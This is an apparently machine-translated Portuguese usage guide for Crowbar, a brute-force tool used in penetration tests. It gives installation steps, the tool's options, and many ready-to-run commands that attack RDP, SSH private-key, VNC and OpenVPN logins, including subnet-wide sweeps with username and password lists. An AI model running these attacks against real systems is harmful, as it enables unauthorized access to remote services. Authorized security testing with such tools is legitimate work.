Crowbar (formalmente conhecido como Levye) é uma ferramenta de forçamento bruto que pode ser usada durante os testes de penetração. Foi desenvolvido para a força bruta alguns protocolos de uma maneira diferente, de acordo com outras ferramentas de forçamento bruto popular. Por exemplo, enquanto a maioria das ferramentas de forçamento bruto usa nome de usuário e senha para a força bruta SSH, Crowbar usa a (s) chave (s) SSH. Isso permite que todas as chaves privadas que tenham sido obtidas durante os testes de penetração, sejam usadas para atacar outros servidores SSH.
Atualmente, o Crowbar suporta:
- OpenVPN (
-b openvpn
) - Remote Desktop Protocol (RDP) com suporte NLA (
-b rdp
) - Autenticação de chave privada SSH (
-b sshkey
) - Autenticação de chave VNC (
-b vpn
)
Instale todas as dependências:
# apt-get -y install openvpn freerdp-x11 vncviewer
Então receba a última versão do GitHub:# git clone https://github.com/galkan/crowbar
Nota: O pacote do cliente RDP depende do seu sistema operacional:- Debian 7/8 & Kali 1/2 usa o
freerdp-x11
pacote. - Além disso, você pode tentar
xfreerdp
. - Caso contrário, talvez seja necessário compilar e ajustar
freerdp
, seguindo: http://opentechnotes.blogspot.co.uk/2015/02/compile-headless-freerdp-credential-checking.html
Utilização
-b : serviço de destino. Crowbar suporta:
openvpn
, rdp
, sshkey
, vnckey
-c : senha estática para acessar com
-C :
</path/to/file>
para senhas lista -d : Executar uma verificação da porta TCP (nmap) na faixa de IP (
-s
/ -S
) antes de tentar força bruta. Isso irá descobrir se a porta do alvo está aberta. -D : Habilitar o modo de depuração
-h : Mostra um menu de ajuda
-k :
</path/to/file-or-folder>
para arquivos de chave (para SSH ou VNC) -l :
</path/to/file>
para armazenar o arquivo de log (padrão é ./crowbar.log
)-m :
</path/to/file>
para um arquivo de configuração OpenVPN -n : Contagem de thread
-o :
</path/to/file>
para armazenar as tentativas com sucesso (padrão é ./crowbar.out
) -p : Número da porta (se o serviço não estiver na porta padrão)
-q : Ativar modo silencioso (apenas mostra logins bem-sucedidos)
-s : endereço / intervalo IP de destino (na notação CIDR)
-S :
</path/to/file>
quais são os endereços IP de destino dos estoques -t : Valor de tempo limite
-u : Usuário único
-U :
</path/to/file>
que armazena a lista de nome de usuário -v : Ativar o modo detalhado (mostra todas as tentativas)
Se você quiser ver todas as opções de uso, por favor use:
./crowbar.py --help
.ATENÇÃO: se você quiser usar o nome de usuário, incluindo DOMAIN, especifique o nome de usuário como abaixo. Backslash (
\
) é o caractere de escape para python. Então, você deve usar qualquer um dos dois formatos a seguir:# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,
Vídeos de demonstração
Abaixo estão alguns exemplos de ataque RDP usando Crowbar.
RDP brute forçando um único endereço IP usando um único nome de usuário e uma única senha:
# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456
RDP brute forçando um único endereço IP usando o arquivo de lista de nome de usuário e uma única senha:
# ./crowbar.py -b rdp -s 192.168.2.211/32 -U /root/Desktop/userlist -c passw0rd
RDP brute forçando um único endereço IP usando um único nome de usuário e uma lista de senhas:
# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C /root/Desktop/passlist
RDP brute forçando uma sub-rede usando uma lista de nome de usuário e uma lista de senhas no modo de descoberta :
# ./crowbar.py -b rdp -s 192.168.2.0/24 -U /root/Desktop/userlist -C /root/Desktop/passlist -d
Brute Forcing SSH Private Keys
Abaixo estão alguns exemplos que você usa usando o Crowbar.
A tentativa de força bruta da chave SSH para um único endereço IP usando um único nome de usuário e uma única chave SSH privada:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k /root/.ssh/id_rsa
A tentativa de força bruta da chave SSH para um único endereço IP usando um único nome de usuário e todas as chaves SSH em uma pasta:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k /root/.ssh/
A tentativa de força bruta da chave SSH para uma sub-rede usando um único nome de usuário e todas as chaves SSH em uma pasta no modo de descoberta :
# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k /root/.ssh/ -d
Brute Forcing VNC
Abaixo está um exemplo de atacar um serviço VNC usando o Crowbar.
VNC força bruta tentativa para um único endereço IP usando um arquivo de senha com número de porta especificado:
# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k /root/.vnc/passwd
Brute Forcing OpenVPN
Abaixo está um exemplo de atacar OpenVPN usando Crowbar.
A tentativa de força bruta OpenVPN para um único endereço IP usando um arquivo de configuração, um arquivo de certificado, um único nome de usuário e uma única senha com número de porta especificado:
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m /root/Desktop/vpnbook.ovpn -k /root/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF
Logs & Output
Depois de executar o Crowbar, ele gera 2 arquivos para registro e resultado que estão localizados em seu diretório atual. O nome do arquivo de log padrão é o
crowbar.log
que armazena todas as tentativas de força bruta durante a execução. Se você não quiser usar o arquivo de log padrão, você deve usar-l log_path
. O segundo arquivo é ocrowbar.out
que armazena tentativas bem-sucedidas durante a execução. Se você não quiser usar o arquivo de saída padrão, você deve usar-o output_path
. Depois disso, você pode observar asoperações do Crowbar .